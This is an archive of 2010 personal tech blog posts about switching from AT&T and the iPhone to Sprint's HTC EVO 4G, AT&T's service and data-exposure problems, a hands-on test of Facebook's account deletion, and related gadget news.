Sunday, June 20, 2010 8:14:29 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, June 19, 2010

The other day I decided I'd had enough pain in my relationship with AT&T and that I was going to make a move. I looked at my various options, and landed on Sprint and the EVO 4G Android-based smart phone. I've spent a few days with the new service and device, and I thought I would write up some early thoughts and opinions.

First of all, let's get this part out of the way: I already miss using the iPhone. Now, the Android phone is cool and there are a lot of good things to say about it. But the iPhone is what I'm used to, and from size to form to OS usability to - well - fit and finish, so to speak... The iPhone is great, and hard to leave.

Sprint's mobile service

As expected, Sprint's service is a little patchier in certain spots around the Portland area than AT&T, while in other areas Sprint provide substantially better coverage. Neither carrier truly blankets the entire area effectively. At my house, located in a fairly remote and rural area about an hour northwest of the city, service by both carriers is equally spotty.

But one thing about the Sprint service that stands out over AT&T's is the call delivery stability. Calls go through, the phone rings when someone is calling, and I have yet to experience a dropped call even once. Even in areas with one or two bars of signal strength showing on the phone I can reliably place and receive calls. Try that with an iPhone on AT&T (even in strong signal strength areas) and one is bound for overall abject failure disappointment.

The EVO 4G phone

The phone is pretty darned slick, and Android is a very cool operating system. It's a tough adjustment from the iPhone to this device in some ways. But overall, color me quite impressed. The display is nice, and even though it's a little larger than I might like it is good hardware with a quality fit and finish.

Battery life is somewhat frustrating, and Sprint even hands out a half sheet of paper when you buy the phone printed with recommendations on how to configure your phone to prevent battery drain. The usual suspects apply (turn off GPS and 4G when not in use, turn down screen brightness, etc.) but I think we all recognize that they wouldn't be handing out the sheet if battery consumption wasn't an issue for customers. That said, my experience so far is that battery life is fairly reasonable if you follow the recommendations. I just wish it wasn't necessary, and I'm hopeful someone builds something like a 3000 mAh battery that will fit in the same slot as the provided 1500 mAh battery. There's a little extra room inside that back compartment, so if it's practical to build a bigger battery to fit, hopefully someone will come through. I know I'd buy it.

There are some good apps out there, but not the same quality as I can find for the iPhone in the areas I care about the most. And I am having problems with some apps crashing and force-quitting that are more than just a little frustrating.

The ability to customize and run widgets, etc. on the phone's "desktop" screens is super cool, and the Google Voice app builds itself into the OS in such an elegant, Borg-like manner that it just makes sense for GV people. There are a couple glitches in the app, but hopefully those get improved upon over time.

In a nutshell...

I miss the iPhone a bit. The EVO is a great phone, don't get me wrong.

I don't miss AT&T at all, at least not yet. My calls on Sprint go through the first time and they don't drop. Data connectivity is reliable and performs well. I can't say that about AT&T.

Thinking out loud about the service issues on AT&T's network...

I'm no cell phone service expert. Far from it. But one thing I've wondered over the past few days is whether the issues on the AT&T network are solely carrier problems, or if some small part of the blame might be Apple's. Is it possible the methods of connecting to and communicating on the network being implemented by Apple aren't optimal? I wonder because for the past year I've carried my iPhone with me for personal use, while at the same time carrying a Blackberry - also on AT&T's network - for business purposes. Frequently the Blackberry performs better in any given location than the iPhone. But not always. There are times when both devices just fall off the back of the truck as far as network connectivity and reliability (for both voice and data) is concerned, Yet I can say based on that year's worth of experience that when I've needed to make a call and ensure the best chance of staying connected and not getting dropped, I've used the Blackberry with noticeably greater reliability.

The amateur radio geek in me in me can think of a few possible reasons for the difference between the performance differences between my iPhone and the Blackberry in the same locations at the same time:

  • They connect and communicate differently - Obviously the engineers at the different phone manufacturers don't get together in the same room and write radio code, so I suppose it's possible RIM's people are better at this than Apple's folks.
  • They're using different cell towers/radios/bands/frequencies - Since these are multi-band transceivers, one has to remember that they may not be operating on the exact same infrastructure equipment at any given point in time. In that case, performance would likely be different.
  • The Blackberry seems to hand-off to EDGE sooner than the iPhone, and it stays connected to the network at least a little more reliably.
At any rate, it's hard for me to know what I will think of the EVO and Sprint in another week. I have this 30-day period to decide if it's right for me, and if it doesn't work out I can decide to try something else, or even go back to AT&T if it turns out I was wrong in my decision. But that doesn't sound like something I want to do at this point.



Add/Read: Comments [3]
Android | Apple | Mobile | Tech
Saturday, June 19, 2010 6:26:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, June 17, 2010

Just a quick note to say “way-to-go” to Matt Mullenweg and the whole WordPress community team on the new release of WordPress 3.0 – This is a huge release!

The merger of single- and multi-user versions is great. So cool to watch WordPress grow over time. I remember eating lunch with Matt at a Gnomedex conference back in the day. Good guy.

I plan to move to WordPress sometime in the future for this weblog, but the whole “keep the link, content and search engine indexing” thing demands some careful planning that I have not had a chance to do yet. Anyone a pro in migrating from dasBlog to WordPress and making it actually work? I love dasBlog, and it’s been really good to me, but it feels like time for a change.



Add/Read: Comments [0]
Blogging | Tech
Thursday, June 17, 2010 9:49:06 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

As I explained in my last post, I made the decision over the past few days to move away from AT&T for mobile phone service, which necessitated a change in the smart phone hardware I use since the iPhone is exclusive (for now, anyhow) to AT&T in the United States. I did some research, got some advice from people I know, read a lot of reviews, and  heard out several others who contacted me with their thoughts -- and then today I took action.

Sprint HTC EVO 4G After work, I left the office and started for home. It was a little after 5pm, and I thought to myself, I wonder if there’s a Sprint store nearby? I’d been looking at the HTC EVO 4G, a truly impressive Android-based smart phone that operates on the Sprint/Clear 4G network for data, as well as Sprint’s 3G mobile network.

Turns out there’s a store just a few blocks away, so I turned around and drove there. I had realistic expectations as I headed over: The HTC EVO 4G is sold out on the Sprint and HTC web sites, and is in very short supply/unavailable pretty much everywhere, so my hope was that the store would at least have a working demo unit that I could take a look at and test drive.

Turns out they had two working units on the shelf, and the *very* friendly and *very* helpful young lady at the store quickly and expertly walked me though the phone for a minute or so. I was pretty impressed with the fact that she immediately picked up on my experience and expertise level and tailored her very knowledgeable interaction to me. So if someone at Sprint reads this, please take this as a commendation for Meghan O. at your Tanasbourne Town Center store in Beaverton, Oregon. She deserves a customer service award, truly. No pressure, all information, and true passion about the phone and Sprint’s service. Compare that to my experiences in AT&T stores and there’s really no contest. In fact, the Sprint customer service experience reminds me a lot of the service experience in an Apple store, come to think of it. Hmmmm… Maybe Apple should think about that.

But I digress. It turns out they had three brand new, in-the-box EVO4G phones that people had reserved but not picked up, so they were available for the taking. Oh, I started to drool. Well, not really – but I think you know what I mean.

I’ll save all the gory details of why this is such a cool phone for another post, since I need to get some sleep tonight. But I want to explain here why I’ve decided to engage Sprint as my probable (operative word there, see below) new service provider.

  • First of all, I can get more for my money. For the same price I am paying AT&T each month for iPhone service and a data plan, I can get the same number of minutes, same unlimited messaging, free calls to any mobile phone on any carrier in the US, free nights and weekends, and – BONUS – the Sprint hot-spot coverage, where the EVO 4G acts as a wifi hot-spot for up to 8 devices to access the Internet.
  • I haven’t decided this yet, but I am considering dropping the 3G data service plan from AT&T on my iPad and just using the EVO 4G to provide Internet service via the hot-spot capability (and at faster speeds, I should add). The $30 a month savings pays for the hot-spot feature. I could always sign up as needed for AT&T 3G service on an ad-hoc basis at $15 a month if I need their service for some reason.
  • Sprint has a 30-day return policy, which allows you to evaluate Sprint and the hardware you choose, and return the equipment in non-damaged condition within that window for a full refund - including no charge for the service used. In effect they’re saying, “Come try us, and if you don’t like it, we will take the equipment back and make you whole again.” That’s corporate confidence, and should I find out I’m an idiot and made a bad decision (or if I decide I want to take a look at a third carrier) I have the option to get out, no questions asked. I like the try-us-on option. Good move.
  • Sprint’s early termination fees are substantially lower than the competition’s newly-published penalties: At Sprint, it’s $200 max, and after you’re about 8 months into your 24-month contract, the penalty starts to drop by $10 a month until it bottoms out at $50 -- and that’s a pretty reasonable deal.
  • No limits on data usage for the smart phone. AT&T and others are now capping their “unlimited” plans (and thank goodness, they’re re-labeling them in most cases to be more accurate in their descriptions).
  • In the store, Meghan’s customer service skills and knowledge simply won me over. She was confident in what she was saying, quick but not rushed, covered all the bases accurately and efficiently, and answered literally every question I had with answers I wanted to hear.

I’ll add a few things about the EVO 4G phone, because they just have to be said. Keep in mind, I am a bit of an iPhone and Apple fan-boy, and I made the tough decision to leave AT&T and the iPhone not because of Apple’s hardware and software, but instead because of AT&T’s poor service and quality woes.

  • This is a sharp phone. The screen is big (really big) and vibrant and it’s a solid build. It feels good in your hand.
  • The camera is great, and even gives you access to detailed configuration settings like auto or manual white balance, various recording resolutions, etc.
  • And that’s just the main camera. There’s also a second, front-facing camera working at VGA resolution for video chatting/conferencing or whatever you want to use it for (maybe you want to shoot your own passport pictures – it’s all up to you).
  • One thing the Apple iPhone doesn’t have a native app for (which is a real shame), but Android does: The Google Voice app. I downloaded and installed the GV app in about a minute and configured it to use my Google Voice account, and now the Android phone uses my GV account – natively – to place and receive calls and text messages. It’s totally borged, all wired in tightly without the need to launch a separate app for calls or anything. You go to the regular phone and messaging apps on the phone, and they knows they’re tied directly to Google Voice. That’s huge, and it’s unique to the Android platform. If you’re a Google Voice power user, Android is *definitely* for you. Find me and ask for a demo, I’ll show you what I mean.
  • The Android UI is awesome. It’s responsive, intuitive and even fun to use. I’m impressed.
  • 4G data service. I happen to live in Portland, Oregon, which is one of the early cities that got WiMax/4G from the start. The network is pretty well established here and so this means a lot in my book. Fast Internet service for a flat fee and ability to share it with other devices is hot.

There’s a lot more to love about the EVO 4G phone, but I’ll save the rest for another post. Suffice it to say, I am pleasantly surprised and quite impressed with both Sprint and the new HTC phone.

More to come later. If you have an opinion, comment away and let me know!



Add/Read: Comments [6]
Android | Apple | Mobile | Tech
Wednesday, June 16, 2010 11:11:23 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, June 16, 2010

And to Apple: I’m sorry, but as good as you make me feel about the world of technology, I just don’t love you enough  to endure AT&T’s bad habits anymore. So, the iPhone has to go, too. And that makes IMAG0002me sad. I truly wish things were different. I almost can’t believe I’m doing this. They say if you love something, let it go free. It’s a brutal suggestion, really.

Let me start out by saying, for those who don’t know, that I’m a security and IT management professional by trade. I’ve held executive and senior management roles for both security and IT functions at a publicly-held company in the financial services space, I’ve consulted with governments and companies large and small on cyber-security issues, and these days I manage security strategy for a Fortune-500 company. So, I have some perspective and reality-based opinions about security and quality.

Let me also say - plainly and clearly - that this blog is where I voice my own opinion about things that are on my mind (as opposed to discussing work-related topics). And my mind is pretty active right now as it concentrates on my personal AT&T Wireless account and the lack of service and security quality the company has delivered over time. In other words, I have some strong opinions on the topic.

This is certainly a bit of a rant, but it’s not a knee-jerk reaction. It’s grounded in reality and reason and I have put some time and thought into my decision.

And enough is enough: I’m done with AT&T.

First AT&T’s reliability and call-handling problems were the issue, and frankly those were bad enough on their own. There are locations where I can *guarantee* calls will drop on my iPhone on the 3G network, every single time. Areas with three to five (out of five) bars of signal strength that suddenly drops the call and goes to zero, before churning around trying to reconnect and eventually coming back with a full signal once (I assume) a tower hand-off finishes. I actually have to tell people that the call will drop in a few seconds and that I will call them back in a couple minutes when the service recovers. They always want to know how I can know that. It’s sad. Coverage has gotten *worse* over the past several months in many areas where I travel, and call reliability has suffered. It’s probably worth noting that the same bad service areas affect my iPad’s 3G data access, as well. So, it’s not just my iPhone.

As if that wasn’t enough, there’s the costs associated with the AT&T service. We pay a premium for iPhone voice and data plans, and get crap for service in return. If I had a buck for every time someone tried to call me and got voice mail, while my phone was sitting in front of me with four or five bars yet never rang once, I’d be able to pay that early termination penalty AT&T requires of it’s customers. It’s bad enough that AT&T sells us this poor service, but it’s even worse that Apple isn’t more publicly vocal and more forceful about getting the problems solved. It’s been three freakin’ years already, for gosh sakes! There is absolutely no excuse.

Then a week ago comes news that AT&T’s iPad registration service was exposing email addresses and validating iPad hardware identifiers, as uncovered by a hacker group with ShootFootan unfortunate name (don’t Google it if you are not already familiar with why it’s unfortunate, just trust me on that one). I, too got the victim-list email from AT&T describing what had happened, six or seven days after the fact. It’s not the actual leak that stinks in this case, it’s the fact that such a design would make it into a Internet service in the first place.

Since then, there’s been a bit of a meta-debate about who’s responsible for what, and all of it is really just details. The fact that the information leak *could* happen in the first place is yet another indicator of why AT&T is a sloppy, careless company when it comes to the services I consume and my personal information. Shame on them. But there’s more…

Then this week comes the straw that broke my proverbial camel’s back, as AT&T’s servers fail massively under load during the iPhone 4 pre-order, and we discover that apparently the company's critical software changes didn’t get tested, and changes got made at the last minute. Oh, and as a result our personal data is being exposed – once again - due to a supposed flaw in the AT&T systems and how they access database records.

Holy cow.

Regardless of the variety of outstanding questions about the exact details and severity of the security situations, the very existence of these problems is more than just problematic.

One has to wonder, if one is being pragmatic and watching the past couple weeks’ activity: What else might they be skimping on that we don’t already know about? If I followed the same practices and didn’t test or validate security and functionality in my line of work, there’s no doubt I’d be gone in a second. Again, simply unacceptable for a huge company and it’s customers, who demand and require trust.

None of this is indicative of a company that practices good, basic security principles as a matter of course. It’s not indicative of a company that strives first for quality. And it’s not the type of company I feel like I can trust anymore.

So, I am quitting you, AT&T. I’d say it’s been nice knowing you, but that would be mostly a lie. So I’ll just walk away and let the past be the past, and focus on the future. Nine-plus years is enough. Good luck to you. I hope you will change, but it’s going to take some serious work, and I just don’t know if you can actually do it. Your track record is not good. Change is hard. Change means pain. And  in the end, most people aren’t willing to endure that process. But maybe you will, and if you do please let me know. I’d like nothing more than to be a happy customer and to write something happy and positive here. I’ll keep my iPad service going with you, since I don’t really have much of a choice and its very existence is part of what makes it possible for me to let the iPhone go. But it’s time for a new phone on a new carrier.

Maybe someday you’ll earn my business back. You might have Apple in your jaws of exclusivity, but not me. For now, you’ve lost my trust and business -- and please realize that you killed an Apple iPhone customer in the process.

And that’s really saying something.

P.S. – A quick final thought to Apple:

I love the hardware. I love the OS. I love the apps. But I can’t stand the service provider, which has failed us for too long now.

I fail to see how you can continue to do exclusive business with a company like AT&T, and I hope you’ll quickly open up options for your customers. Maybe you’re already working on it, which would be a breath of fresh air in this cramped, stuffy, smelly room. I’m sure many will suffer the pains of AT&T to get your hardware and software in your hands, and honestly this is a painful decision for me to make because your phone is something I want and need. But your corporate quality and image is directly tied – even intertwined - to AT&T in the United States, and for a company that stands tall on the ideals of doing things well rather than doing them first, your AT&T relationship is a failure of massive proportions, with quality never measuring up and ability to correct way too lacking. For what it’s worth. I want your products more than any other, but AT&T’s issues have finally crossed a line and have reached the summit of Mt. Unacceptable.

So, what do I do? Please, tell me. Do I wait patiently for a relatively short period of time for another carrier option, or do I just make the move now and use someone else’s hardware?

I am truly sorry to have to leave, Steve. Please, win me back.



Add/Read: Comments [7]
Apple | IT Security | Mobile | Tech | Things that Suck
Wednesday, June 16, 2010 9:49:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, June 15, 2010

Dubbed Astdroid, a new project by Danny Pier hopes to raise a small amount of funding between now and July 7th to launch a smartphone running the Android operating system (specifically Danny’s Sprint EVO 4G phone) into space. He plans to use a weather balloon launch vehicle and to raise the phone to around 35,000 meters. The phone would take pictures and return to earth via parachute once the balloon pops.

It’s a cool idea, with all sorts of possible problems. But what I find most interesting and exciting is the simple idea of just trying it.

I can relate to Pier’s frustration with the idea that the next time NASA will set foot on another terrestrial body it will be Mars (not the Moon), and it will happen sometime around 2035. I’ll be 68 years old in 2035, and while I certainly plan to last that long, I would love to see something more happen before then.

If NASA isn’t going to do it (which is a mistake of huge proportions in my book), then it’s up to us to stake baby steps and push for private space exploration, in whatever forms it might take.

Pier’s plan is to run software on the Android that will collect location and image data, transmitting back the location data in real time. He wants to recover the phone when it gets back to earth, gather the data and images from the phone, and use it again to do the same thing. He plans to share the software he uses so others can also explore.

The entrepreneurial spirit is powerful. Fun, relatively simple projects like this (well, simple compared to the space shuttle, at least) are a great way to encourage others to fuel the private space race, and I hope Pier’s passion rubs off on others.

And any Android phone is orders of magnitude more powerful computer-wise than anything that flew on an Apollo mission, and even more advanced than a lot of what’s flown on many of the space shuttle missions.

I’ve contributed to his effort, and I hope you will too. An investment in imagination and passion is always worthwhile.

And honestly, this is something I’d love to try someday, myself. :)



Add/Read: Comments [1]
Geek Out | Mobile | Tech
Tuesday, June 15, 2010 8:06:00 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
Apple Store app releasedWell, Apple has released their iPhone app version of the Apple Store, available in the app store now.

I tried to reserve an iPhone 4 through it this morning, but each time I enter and submit my phone account info, the app crashes and I'm returned to my iPad's home screen.

If I had to guess, I'd say AT&T's systems might be the problem since it crashes at the time the AT&T account info is submitted, but who knows. Regardless it's not a very graceful way to handle an error. :)

You can shop for anything Apple in the app, which is actually pretty slick.

Update: Still having problems on the AT&T site (which says it’s down for a server upgrade) and the Apple site, as well as the new iPhone store app doing the reservation. Honestly, you’d think these huge companies would plan ahead for the kind of volume they get every time these releases occur? If your bank planned ahead like this, you’d never get you money. It’s really completely inexcusable, and the track record is horrid. It’s hard to feel comfortable trusting my communication services and information to companies that don’t successfully execute on the basics like availability. Yikes…



Add/Read: Comments [0]
Apple | Mobile | Tech
Tuesday, June 15, 2010 7:18:00 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 14, 2010

Ah, dilemas...

Yesterday as I was sitting on one of my favorite chairs with my iPad in hand, I found myself browsing the latest iPhone 4 news and rumors online. After all, the new Apple smartphone will be released to the wild in a week, and pre-orders start on Tuesday (tomorrow). So I had to get my fix of the excitement.

But as I sat there for a while and hopped back and forth from the web browser to this app and that app on my iPad, it occurred to be: Maybe I don't really need an iPhone anymore. Maybe I should look at my options.

Why would I even consider this? Well - because I have the iPad.

A moment of clarity washed over me as I realized that all the functionality I rely upon on the iPhone is also available on the iPad, with few exceptions. All of my aviation software that I use for flying I have on the iPad for example, and honestly I prefer to use it there. Come to think of it, all the apps I use regularly are getting by far the most use these days on my iPad, not the iPhone.

So, what exactly am I using my iPhone for, now that the iPad is in my life? What would I lose if my iPhone disappeared for good, that I can't find on my iPad? Honestly, it's a pretty short list:

  • Phone calls -Obviously I don't make calls on the iPad, those all happen on the iPhone. And the phone's not too reliable for that purpose, I should add. But I blame AT&T for that issue.
  • Text messages - Which I also cannot do on the iPad, at least not in the native form. I use Google Voice for all my text and inbound voice calls anyhow, so I do some of that on the iPad, some on the phone.
  • Location and mapping - But, most of my GPS navigation and guidance work is now performed by the iPad (there are a couple great HD turn-by-turn apps available).
  • Facebook app - just for convenience, and because the app on the iPad is, well, the iPhone app (and what the heck's up with that anyhow?). But I also do Facebook in the Safari browser on the iPad. It's just not as portable. And Facebook is hardly a deal-breaker requirement.
  • The iPhone is there any time I need pocket-sized app services - And this typically means using apps for things like weather and finding a store or restaurant, which I think can be done from other phones pretty easily. I don't want to carry the iPad with me everywhere, so there are times when I would have to go without.
  • Photos - Again, not something you can create with the iPad since there's no camera. But honestly the camera in the iPhone 3G isn't much to speak of, and any phone I'd buy today will dramatically improve on the camera story. I might even get - *gasp* - video capability.
When I consider the (frankly) crappy call delivery and high cost of service on the AT&T network over the past few years, it's awfully tempting to consider making a move away from that carrier for my phone services, which would of course also mean moving off the iPhone. And maybe the iPad 3G makes that move possible for me. Im certain that's not what Apple or AT&T intended, but it might just be the effect.

So - What to do?

I should point out that I do have a few strong reasons to want to stay with the iPhone and get the new model. It has a great interface, common apps between devices are nice to have, and the fact of the matter is things look terrific on the iPhone display (and will look even better on the new one). I like Apple's hardware and software very much, despite the walls and restrictions they've put in place.

In the "alternatives" department, I've started looking at the Sprint EVO 4G - a big new phone with a good performance spec sheet. There have been some rumors of glass/screen de-lamination so I will have to look into that to be sure. And battery life is rumored to be a bit weak. But, having access to 4G wireless data speeds in the city and a Sprint monthly service plan that costs less than the AT&T equivalent by as much as $30 is tempting. In fact, I could add Sprint's $29.95 Internet-sharing plan to the EVO 4G and it would serve as a wireless hotspot for me and 7 of my closest friends if I wanted. And all that for almost exactly the same cost I pay AT&T today for the same service, sans the 4G speeds and hot spot.

I've also thought about the new Verizon phones. The Droid Incredible looks pretty darn sharp, although it appears one will have to wait until July for it to ship. And Verizon's network is - well, you know. It's the network!

One interesting and frustrating tidbit about both of these Android phones is that neither comes with the Froyo (v2.2) version of Android installed. I'm sure HTC will ship it for the phones before too long, but it would have been nice to see them ship with the latest OS, especially given the performance improvements made in that version.

And so, none of this brings me any closer to a final decision. None of these phones are available today, but since pre-order time is here I feel like I should be making a choice. I guess I don't have to, but I don't really want to wait for too long. This shattered screen is pretty aggravating.

It would be cool to see the Android phones in action and to see whether the Android apps look any better on the phone's screen than they do in screenshots available on the web. Frankly, iPhone apps look pretty awesome most of the time, so I am a bit of spoiled iPhone snob, I suppose. Many of the screen shots of Android apps I have seen look like something on a Commodore 64 from when I was a kid. But maybe that's not the norm. So, if anyone has an EVO 4G they'd like to show off in the Portland area please let me know. :)

What would you do, and why?



Add/Read: Comments [3]
Apple | Mobile | Tech
Monday, June 14, 2010 6:36:38 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, June 12, 2010

There's been a bit of a stink recently around whether or not Facebook's account deletion process works the way they say it does. The number of people pontificating in the tech blogger fishbowl has been rather amazing, but I have yet to see someone actually take the time to create, delete and reactivate an account, log on via a third party tool after an account was deleted, see what happens, etc.

So, I did just that in order to find out how the Facebook account deletion and reactivation process works.

In a nutshell, it appeared to work as advertised, right up until I got to the end of my testing, at which point my account was (much to my surprise) reactivated without my explicit permission. It seems the steps one takes must be the defining factor with regard to whether or not it works the way the user expects and (I expect) the way Facebook intends for it to work. In fact, I am unable to reliably recreate the situation, as I describe below. But at least one time the Facebook system reactivated my account without my request to do so.

I'll say right now there's no signs of deception or anything on the part of Facebook. If anything, it's more likely an edge-case bug of sorts, and no harm is done.

Screen clips and description of what I did to test the process follow. I set out to do this with the purpose of documenting the steps along the way.

First of all, I created a new account (I don't want to delete my old one) under the user email ID of greg.pdx@gmail.com. You can try to add me if you want, and if I get any communications as a result I will be sure to update this post.


Next I received the confirmation email for account creation and clicked the link in the email to crete the account.


And so in a few minutes I had a new Facebook account and profile:


Next I added a couple friends and Chris Pirillo, true to form, was quick to accept the request. I then went to my iPad and started up BeeJive IM, which I use to chat on Facebook and Live Messenger at the same time.

It uses Facebook Connect to log into the Facebook chat system. I provided my credentials on the iPad, set the appropriate permissions, and was quickly logged in:


I then signed out of chat and returned to the browser on my notebook, where I visited the hard-to-find Facebook account deletion page at

http://www.facebook.com/help/contact.php?show_form=delete_account

and started that process.


and received the notification both on-screen and in email that my account was scheduled for deletion in 14 days (which, by the way, is a very good way to go about this on Facebook's part, but we can save that for another time).


I then logged back in and received this message:


I decided to try reactivating and deleting again, which it allowed me to do. I received email notifications as well as on on-screen confirmation. Here's the email:


Now for the important part. I then went back to my iPad and logged into Facebook Chat via BeeJive, here is what I saw:


The only option available was to reconnect. If I reauthenticate via Facebook Connect, I am presented with the below screen, asking me if I want to reactivate my account. I have to specifically tell it "yes" in order for that to happen. No emails were received notifying me I was reactivated like happened before.






But wait -- I then went back to by notebook once again and opened up my web browser, and tried to log back into Facebook. I expected to see the same screen shown directly above, but instead was surprise to see my Facebook profile page! Within seconds, an email arrived from Facebook, again welcoming me back to Facebook. The only problem is, I never clicked on the Cancel Request button to tell Facebook I wanted to cancel the deletion of my account.


What's even more interesting is the fact that when I tried to recreate the situation again, Facebook is functioning as advertised. I'm now being prompted and asked if I want to cancel deletion or deactivate the account, where before I got the unexpected welcome-back email.

Well, it's certainly strange. Perhaps there's an edge-case issue/bug here that requires some specific order of operations to trigger. All I know is it happened to me, and frankly I was pretty surprised when it did. Facebook has some of the best talent in the industry and they work amazing technical miracles every day. But, bugs do happen. Maybe there's a log somewhere in the bowels of Facebook's data centers that can show what happened here, and someone can figure it out.

Before I finish, a brief comment on the 14-day deletion window. People are screaming that if they want something deleted, it should be deleted right now. Unfortunately, in the real world bad people steal passwords, drunk friends pull stupid pranks, drink account holders make stupid decisions (and I am specifically referring to account deletion, not drunk photo and video posting). There are many, many good reasons for a deletion grace period, reasons that protect users. I am glad they have it, and I think it would be negligent not to provide that to users considering the size, scope and importance of the service provided.



Add/Read: Comments [2]
Tech
Saturday, June 12, 2010 9:53:44 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, June 11, 2010

Google Voice is a great service, grown up from the acquisition of Grand Central a couple years ago. When Google acquired Gizmo 5 last year, many of us who use Google Voice and benefit from its features got excited: Maybe they were on the cusp of bringing Google Voice to the desktop.

And the masses began to rejoice.

Well, unfortunately TechCrunch is reporting today that the Google Voice desktop app, which has apparently been confirmed as being reality and in testing internally at Google, may not see the light of day. Arrington suggests the reasons for that may be religious/philosophical in nature and that the team has been directed to look at building a web app instead.

And if that's true, well then that is a very sad thing, indeed.

So, Google - Let me be the voice of just one customer who has touted the service and used it extensively... one customer who says please - please - consider the situation for your end users here. We can benefit today from a desktop client and there are many use cases where a browser doesn't make the best sense. There are several recent examples of desktop/installed software coming out of Google, and Google Voice is one place where it just makes good sense to do a desktop app. And I should also point out that by releasing a Google Voice desktop app, there's nothing preventing Google from working hard to develop a strong and powerful HTML 5 app for the future - In fact, I would hope and bet good money you're already doing just that, as well!

We really want a Google Voice desktop app, and we really want it from Google. Please, if there's any actual debate over the right's and wrong's of delivering a desktop client, reconsider your position and make some happy customers very happy. And, when a HTML 5 app becomes workable and available we'll certainly cheer about that as well because we'll use it, too.

Thanks.



Add/Read: Comments [2]
Tech
Friday, June 11, 2010 1:15:21 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 07, 2010
Last week I logged onto my AT&T Wireless account and checked out my account's upgrade eligibility there. At the time the site indicated it "Could not determine your upgrade eligibility." That was a little weird.

I logged back in today and looked again. With the bid Apple announcements expected today I figured it would be good to know if AT&T planned to make me wait until two years had passed on the calendar. When I asked in a store a few weeks back they'd told me late June.

But today the AT&T site indicates I am already eligible now. (Update: Apparently I'm not the only one)


The Apple keynote where a new 4th-generation iPhone is expected to be announced starts today at 10am. I'll be getting on a plane to go to Chicago about that time, so it looks like I will have to catch up on the news when I land.

I will probably get a new iPhone, as long as they don't cost an exorbitant amount of money. My current phone is the original 3G model, has a shattered (but still fully functional) screen, and is very, very slow with some of the resource-intensive apps I run. I've looked at Android phones, and while the OS is cool the apps I use the most are not available on that platform and likely never will be.



Add/Read: Comments [0]
Apple | Mobile | Tech
Monday, June 07, 2010 7:15:47 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, June 02, 2010

I bought my iPad 3G just a month ago, and at the time I signed up for the AT&T Wireless unlimited data plan for $29.99 a month. I’m glad I did, and should point out to anyone on the 250MB plan who wants (or thinks they want) a truly unlimited plan, you have until June 6th to sign up for that plan. After that date, the unlimited data plan won’t be available anymore.

AT&T has announced they’re ending unlimited data plans pretty much across the board. The new plans will provide 250MB and 2GB of data each, with (fairly reasonable) overage charges. Current smartphone customers are not required to switch to the new plans, but can choose to do so without a contract extension.Before explaining the packages, I went to my iPad to see how much data I used during my first month with the iPad:

usage-ipad

I’m a pretty heavy user, with a chunk of my use at home, but plenty of data use on the road. So, maybe a 2GB account would work for me (at least most of the time). AT&T says only 2% of their smartphone users exceed 2GB per month. If I was working away from my home office even more, I think I’d likely hit the 2GB top end of the new account. And while I understand the logic around the per-month statistics for smartphones, the iPad really is a different type of device. So, I wonder what the iPad user monthly usage statistics are. What percentage went over 2GB in the first month the iPad with 3G was available? AT&T didn’t spell that out for us.

Luckily, I can retain my unlimited iPad data account if I want to. I just have to keep it auto-billing in order to keep it available, it sounds like. In the future if I find my usage consistently allows, I can choose to go for the 2GB capped account and save enough money for an expensive coffee.

Plan details from AT&T’s press release:

DataPro. Provides 2 gigabytes (GB) of data – for example, enough to send/receive 10,000 emails (no attachments), plus send/receive 1,500 emails with attachments, plus view 4,000 Web pages, plus post 500 photos to social media sites, plus watch 200 minutes of streaming video – for $25 per month.**  Should a customer exceed 2 GB during a billing cycle, they will receive an additional 1 GB of data for $10 for use in the cycle.  Currently, 98 percent of AT&T smartphone customers use less than 2 GB of data a month on average.

DataPlus. Provides 200 megabytes (MB) of data – for example, enough to send/receive 1,000 emails (no attachments), plus send/receive 150 emails with attachments, plus view 400 Web pages, plus post 50 photos on social media sites, plus watch 20 minutes of streaming video – for just $15 per month.**  This plan, which can save customers up to 50 percent off their wireless data charges, is designed for people who primarily like to surf the web, send email and use social networking apps. If customers exceed 200 MB in a monthly billing cycle, they will receive an additional 200 MB of data usage for $15 for use in the cycle.  Currently, 65 percent of AT&T smartphone customers use less than 200 MB of data per month on average.

** Usage examples are estimates. Individual results will vary based upon customer’s Internet usage patterns.

I guess the one thing that bothers me is that AT&T and Apple launched the iPad with an unlimited plan option. I am quite glad that existing iPad users can keep the plan they signed up for, but I think about future and new phone capabilities such as the likely video conferencing and streaming on new mobile devices that are set to be available this summer. I worry about plan limits which – in the future – could consistently result in overage charges once data usage organically increases with new hardware capabilities and demand.



Add/Read: Comments [1]
Apple | Mobile | Tech
Wednesday, June 02, 2010 6:38:38 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, May 05, 2010

image Okay, file this one under super-cool. A company called Parrot has built and demonstrated a flying model helicopter (quadracopter?) called the AR Drone. With four blades, it’s controlled by an iPhone using WiFi and the phone’s motion-sensing capabilities.

It also streams video from a camera mounted on the flying machine back to the iPhone. It’s a like mini predator drone for your living room or back yard (well, sort of).

I want one. Or at least to play with one. As a product it looks to be well-executed and a lot of fun.

Check out the Web 2.0 conference demo video below, as well as a Parrot video. A whole slew of additional videos from Parrot are available on YouTube.

You can also find out a whole lot more about the AR Drone from the Parrot web site – Just click here.

 



Add/Read: Comments [2]
Apple | Geek Out | Tech
Wednesday, May 05, 2010 11:38:21 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, May 03, 2010

On Friday evening last week I stood in line for about an hour along with a slew of geeks and even a few nerds at the Apple Store in Tigard, Oregon to get one of the first Apple iPad 3G models. There were about 35 or 40 people ahead of me in line, and a few more than that in line behind me by the time the 5pm release clock rolled around and the Apple staff came screaming down the hallway in the mall.

Within only 15 minutes I was already on my way back out the door of the store with a 64GB 3G model in a bag, and about $930 less in the bank (I got the AppleCare contract based on past experience). I picked up the model with the most storage simply because (again based on experience) I have tended to skimp in that area and have always come to regret the choice. So, this time I was all-in.

